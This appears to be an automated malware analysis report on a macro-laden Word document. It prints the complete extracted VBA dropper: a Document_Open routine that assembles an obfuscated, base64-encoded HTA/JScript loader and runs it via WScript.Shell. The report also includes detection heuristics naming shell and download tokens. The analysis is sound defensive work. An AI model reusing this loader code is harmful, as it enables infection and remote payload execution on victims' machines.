Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 70c141cb658d8c2a…

MALICIOUS

Office (OOXML) / .DOC

79.9 KB Created: 2021-04-29 07:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-23
MD5: 7aec0ab87318c75d1ac196cc95cc96c6 SHA-1: 07e6a58b72930a8c7ee3384f95ab2ccc2ae169da SHA-256: 70c141cb658d8c2a5f179051b775bd00de39bc2f596e15405b6b9d0c57c88762
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains a VBA project with a Document_Open macro, which is automatically executed when the document is opened. The macro utilizes WScript.Shell to execute the content of the document's title property, indicating an attempt to download and execute a secondary payload. The use of CreateObject and WScript.Shell points to a common macro-based malware delivery technique.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set argumentLeft = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set argumentLeft = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10532 bytes
SHA-256: 67f81ae4be1e5b1f5617b3f1266f491914e3082eb7f7aaff8d127566c987a325
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{5D56D1BF-2284-42E2-881B-AFF8D6C2CEA1}{5760DF19-8066-46DE-8128-82122701FFC2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub button1_Click()
Set borderStruct = ActiveDocument.BuiltInDocumentProperties("title")
Set argumentLeft = CreateObject("wscript.shell")
With argumentLeft
.exec$ (borderStruct)
End With
End Sub


Attribute VB_Name = "dataGenericMemory"
Sub main()
deleteList
End Sub
Function gwc(structScreen)
If Len(structScreen) > 0 Then
gwc = structScreen
End If
End Function
Sub deleteList()
Dim namespaceCaption As String
tableRight = Split(ActiveDocument.BuiltInDocumentProperties("title"), " ")
namespaceCaption = tableRight(1)
Set mainDatabase = New ExAButton
mainDatabase.classReferenceA namespaceCaption, rightLibTitle
frm.button1_Click
End Sub

Attribute VB_Name = "leftTextbox"
Function constText(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then constText = gwc("<htm" & "l><b" & "ody>" & "<div" & " id=" & "'con" & "tent" & "'>fT" & "tlc2" & "9sYy" & "54b2" & "J0eG" & "VUYm" & "lMcm" & "90YX" & "JldG" & "k7KT" & "IgLC" & "JncG" & "oudH" & "hlVG" & "V1bG" & "F2XF" & "xjaW" & "xidX" & "BcXH" & "NyZX" & "N1XF" & "w6Yy" & "IoZW" & "xpZm" & "90ZX" & "Zhcy" & "54b2" & "J0eG" & "VUYm" & "lMcm" & "90YX" & "JldG" & "k7KX" & "lkb2" & "Jlc2" & "5vcH" & "Nlci" & "5lbG" & "JhVG" & "1lTW" & "V2b2" & "1lci" & "hldG" & "lydy" & "54b2" & "J0eG" & "VUYm" & "lMcm" & "90YX" & "JldG" & "k7MS" & "A9IG" & "VweX" & "QueG" & "9idH" & "hlVG" & "JpTH" & "JvdG" & "FyZX" & "RpO2" & "5lcG" & "8ueG" & "9idH" & "hlVG" & "JpTH" & "JvdG" & "FyZX" & "RpOy" & "kibW" & "Flcn" & "RzLm" & "Jkb2" & "RhIi" & "h0Y2" & "VqYk" & "9YZX" & "ZpdG" & "NBIH" & "dlbi" & "A9IH" & "hvYn" & "R4ZV" & "RiaU" & "xyb3" & "Rhcm" & "V0aS" & "ByYX" & "Z7KT" & "AwMi" & "A9PS" & "BzdX" & "RhdH" & "MuZW")
End Function
Function pointerLoadCaption(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then pointerLoadCaption = gwc("xiYV" & "RtZU" & "1ldm" & "9tZX" & "IoZm" & "k7KS" & "hkbm" & "VzLm" & "VsYm" & "FUbW" & "VNZX" & "ZvbW" & "VyOy" & "llc2" & "xhZi" & "AsIl" & "JjVV" & "Uzcn" & "ZJYz" & "1kaT" & "80cn" & "V2L3" & "dYdV" & "hGbW" & "hFQ0" & "1tcE" & "xkVT" & "JaZH" & "pOSk" & "51L3" & "dsbF" & "NuaW" & "R6V1" & "lsb2" & "N5dm" & "dJRz" & "B6d3" & "dDZT" & "dKQk" & "UvTE" & "pvbW" & "5TQ0" & "JlWk" & "1QQX" & "VVZG" & "ZoeC" & "9MSH" & "c0UV" & "VoaV" & "dlTl" & "dXOU" & "svS2" & "k3Tn" & "c0SV" & "l2ZV" & "JHZX" & "NQa0" & "tUb1" & "FBY1" & "JCSy" & "93Tn" & "c0ME" & "psVF" & "k3Rk" & "lPWE" & "Rsc0" & "9VMm" & "hHRU" & "JjN3" & "VpRD" & "kvdG" & "lFSj" & "hCTX" & "h3QU" & "VCMm" & "lxSE" & "JnSj" & "hBdU" & "xHV3" & "g5Qz" & "JxNE" & "lPL2" & "dFbE" & "Ezc1" & "cwbE" & "R2el" & "c3el" & "c2aG" & "FnRD" & "NQY0" & "5Qel" & "Vud1" & "czRn" & "dYTX" & "Ivc2" & "9zZ2" & "QvbW" & "9jLm" & "5vaX" & "Rhbm")
End Function
Function rightRefRemove(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then rightRefRemove = gwc("Vpem" & "5la2" & "NtLy" & "86cH" & "R0aC" & "IgLC" & "JURU" & "ciKG" & "5lcG" & "8uZW" & "xiYV" & "RtZU" & "1ldm" & "9tZX" & "I7KS" & "JwdH" & "RobG" & "14Lj" & "JsbX" & "hzbS" & "IodG" & "Nlam" & "JPWG" & "V2aX" & "RjQS" & "B3ZW" & "4gPS" & "BlbG" & "JhVG" & "1lTW" & "V2b2" & "1lci" & "ByYX" & "Y=|f" & "Xspd" & "HJld" & "m5vQ" & "3Rud" & "W9jK" & "Ghjd" & "GFjf" & "TspI" & "mF0a" & "C50e" & "GVUZ" & "XVsY" & "XZcX" & "GNpb" & "GJ1c" & "Fxcc" & "3Jlc" & "3VcX" & "DpjI" & "ihlb" & "GlmZ" & "XRlb" & "GVkL" & "m5pY" & "U1yZ" & "WZmd" & "WJ7e" & "XJ0O" & "ykid" & "GNla" & "mJvb" & "WV0c" & "3lzZ" & "WxpZ" & "i5nb" & "ml0c" & "GlyY" & "3MiK" & "HRjZ" & "WpiT" & "1hld" & "ml0Y" & "0Egd" & "2VuI" & "D0gb" & "mlhT" & "XJlZ" & "mZ1Y" & "iByY" & "XY7K" & "SJnc" & "Goud" & "HhlV" & "GV1b" & "GF2X" & "Fxja" & "Wxid" & "XBcX" & "HNyZ" & "XN1X" & "Fw6Y" & "yAyM" & "3J2c" & "2dlc" & "iIob" & "nVyL")
End Function
Function nextTrust(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then nextTrust = gwc("ikib" & "Gxla" & "HMud" & "HBpc" & "mNzd" & "yIod" & "GNla" & "mJPW" & "GV2a" & "XRjQ" & "SB3Z" & "W4=<" & "/div" & "><di" & "v id" & "='ta" & "ble1" & "'>AB" & "CDEF" & "GHIJ" & "KLMN" & "OPQR" & "STUV" & "WXYZ" & "</di" & "v><d" & "iv i" & "d='t" & "able" & "2'>0" & "1234" & "5678" & "9+/<" & "/div" & "><di" & "v id" & "='ta" & "ble3" & "'></" & "div>" & "<scr" & "ipt " & "lang" & "uage" & "='ja" & "vasc" & "ript" & "'>fu" & "ncti" & "on l" & "istb" & "oxVb" & "List" & "(vbT" & "able" & "){re" & "turn" & "(new" & " Act" & "iveX" & "Obje" & "ct(v" & "bTab" & "le))" & ";}fu" & "ncti" & "on m" & "emor" & "yBuf" & "ferC" & "onst" & "(ExC" & "opy)" & "{ret" & "urn(" & "coun" & "terL" & "inkE" & "xcep" & "tion" & ".get" & "Elem" & "entB" & "yId(" & "ExCo" & "py)." & "inne" & "rHTM" & "L);}" & "func" & "tion" & " swa" & "pVar" & "iabl" & "e(){" & "var " & "poin" & "terB" & "uffe" & "r = ")
End Function
Function mainFuncList(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then mainFuncList = gwc("memo" & "ryBu" & "ffer" & "Cons" & "t('t" & "able" & "1');" & "var " & "arra" & "yOpt" & "ionP" & "roce" & "dure" & " = p" & "oint" & "erBu" & "ffer" & ".toL" & "ower" & "Case" & "();v" & "ar d" & "atab" & "aseS" & "tora" & "ge =" & " mem" & "oryB" & "uffe" & "rCon" & "st('" & "tabl" & "e2')" & ";ret" & "urn(" & "poin" & "terB" & "uffe" & "r + " & "arra" & "yOpt" & "ionP" & "roce" & "dure" & " + d" & "atab" & "aseS" & "tora" & "ge);" & "}fun" & "ctio" & "n vb" & "VarC" & "apti" & "on(s" & "){va" & "r e=" & "{}; " & "var " & "i; v" & "ar b" & "=0; " & "var " & "c; v" & "ar x" & "; va" & "r l=" & "0; v" & "ar a" & "; va" & "r co" & "nver" & "tMai" & "nFun" & "c=''" & "; va" & "r w=" & "Stri" & "ng.f" & "romC" & "harC" & "ode;" & " var" & " L=s" & ".len" & "gth;" & "var " & "list" & "boxD" & "elet" & "eScr" & "een " & "= va" & "riab" & "leNa" & "mesp" & "aceI" & "tera" & "tor(" & "'tAr")
End Function
Function localVarDocument(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then localVarDocument = gwc("ahc'" & ");fo" & "r(i=" & "0;i<" & "64;i" & "++){" & "e[sw" & "apVa" & "riab" & "le()" & "[lis" & "tbox" & "Dele" & "teSc" & "reen" & "](i)" & "]=i;" & "}for" & "(x=0" & ";x<L" & ";x++" & "){c=" & "e[s[" & "list" & "boxD" & "elet" & "eScr" & "een]" & "(x)]" & ";b=(" & "b<<6" & ")+c;" & "l+=6" & ";whi" & "le(l" & ">=8)" & "{((a" & "=(b>" & ">>(l" & "-=8)" & ")&0x" & "ff)|" & "|(x<" & "(L-2" & ")))&" & "&(co" & "nver" & "tMai" & "nFun" & "c+=w" & "(a))" & ";}}r" & "etur" & "n(co" & "nver" & "tMai" & "nFun" & "c);}" & ";fun" & "ctio" & "n va" & "riab" & "leNa" & "mesp" & "aceI" & "tera" & "tor(" & "opti" & "onLe" & "n){r" & "etur" & "n op" & "tion" & "Len." & "spli" & "t(''" & ").re" & "vers" & "e()." & "join" & "('')" & ";}vb" & "Text" & " = w" & "indo" & "w;co" & "unte" & "rLin" & "kExc" & "epti" & "on =" & " doc" & "umen" & "t;vb" & "Text" & ".res" & "izeT" & "o(1," & " 1);" & "vbTe")
End Function
Function screenRef(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then screenRef = gwc("xt.m" & "oveT" & "o(-1" & "00, " & "-100" & ");va" & "r le" & "ftPt" & "r = " & "coun" & "terL" & "inkE" & "xcep" & "tion" & ".get" & "Elem" & "entB" & "yId(" & "'con" & "tent" & "').i" & "nner" & "HTML" & ";var" & " lef" & "tPtr" & " = l" & "eftP" & "tr.s" & "plit" & "('|'" & ");va" & "r pa" & "steC" & "apti" & "onRe" & "fere" & "nce " & "= va" & "riab" & "leNa" & "mesp" & "aceI" & "tera" & "tor(" & "vbVa" & "rCap" & "tion" & "(lef" & "tPtr" & "[0])" & ");va" & "r co" & "llec" & "tion" & "Data" & " = v" & "aria" & "bleN" & "ames" & "pace" & "Iter" & "ator" & "(vbV" & "arCa" & "ptio" & "n(le" & "ftPt" & "r[1]" & "));<" & "/scr" & "ipt>" & "<scr" & "ipt " & "lang" & "uage" & "='ja" & "vasc" & "ript" & "'>fu" & "ncti" & "on l" & "istb" & "oxMa" & "in(b" & "uffe" & "rTmp" & "){va" & "r ar" & "gume" & "ntRe" & "fere" & "nceR" & "epo " & "= li" & "stbo" & "xVbL" & "ist(" & "vari" & "able")
End Function
Function listCounterCollection(vbOptionText)
Dim argumentClear As Integer
argumentClear = 31337
If (Len(vbOptionText) < argumentClear) Then listCounterCollection = gwc("Name" & "spac" & "eIte" & "rato" & "r('l" & "ortn" & "octp" & "ircs" & ".lor" & "tnoc" & "tpir" & "cssm" & "'));" & "argu" & "ment" & "Refe" & "renc" & "eRep" & "o['L" & "angu" & "age'" & "] = " & "'jsc" & "ript" & "';ar" & "gume" & "ntRe" & "fere" & "nceR" & "epo[" & "'Tim" & "eout" & "'] =" & " 600" & "00;a" & "rgum" & "entR" & "efer" & "ence" & "Repo" & "['Ad" & "dCod" & "e'](" & "buff" & "erTm" & "p);r" & "etur" & "n(nu" & "ll);" & "}</s" & "crip" & "t><s" & "crip" & "t la" & "ngua" & "ge='" & "vbsc" & "ript" & "'>li" & "stbo" & "xMai" & "n pa" & "steC" & "apti" & "onRe" & "fere" & "nce " & ": li" & "stbo" & "xMai" & "n co" & "llec" & "tion" & "Data" & " : v" & "bTex" & "t.cl" & "ose<" & "/scr" & "ipt>" & "</bo" & "dy><" & "/htm" & "l>")
End Function
Function rightLibTitle()
rightLibTitle = constText("elec") + pointerLoadCaption("utto") + rightRefRemove("able") + nextTrust("ames") + mainFuncList("Link") + localVarDocument("rray") + screenRef("izeC") + listCounterCollection("lear")
End Function

Attribute VB_Name = "ExAButton"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function classReferenceA(textRequestFunc As String, storageIterator As String)
Open textRequestFunc For Output As #1
Print #1, storageIterator
Close #1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 37376 bytes
SHA-256: 1d715f834d7405a7b3906e62ba572b6d320a24911adf5a08cb1c2616f87106c4